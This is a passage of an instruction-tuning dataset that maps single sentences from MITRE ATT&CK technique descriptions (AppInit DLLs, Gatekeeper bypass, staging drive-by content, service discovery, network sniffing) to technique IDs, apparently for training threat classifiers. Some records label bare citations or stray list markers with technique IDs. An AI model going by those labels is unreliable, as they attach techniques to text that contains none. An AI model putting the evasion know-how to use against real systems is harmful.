<code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In practice this is nearly every program, since user32.dll is a very common library.", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In practice this is nearly every program, since user32.dll is a very common library. ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppInit Registry)", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppInit Registry) ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppInit Secure Boot)", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppInit Secure Boot) ### Response: T1103."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Services opens the application in a suspended state.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Services opens the application in a suspended state. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation:", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done in a number of ways, including:\n\n*", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done in a number of ways, including:\n\n* ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n*", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008)) ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation:", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.)", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may try to gather information about registered local system services.", "output": "T1007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may try to gather information about registered local system services. ### Response: T1007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.", "output": "T1007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>. ### Response: T1007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion 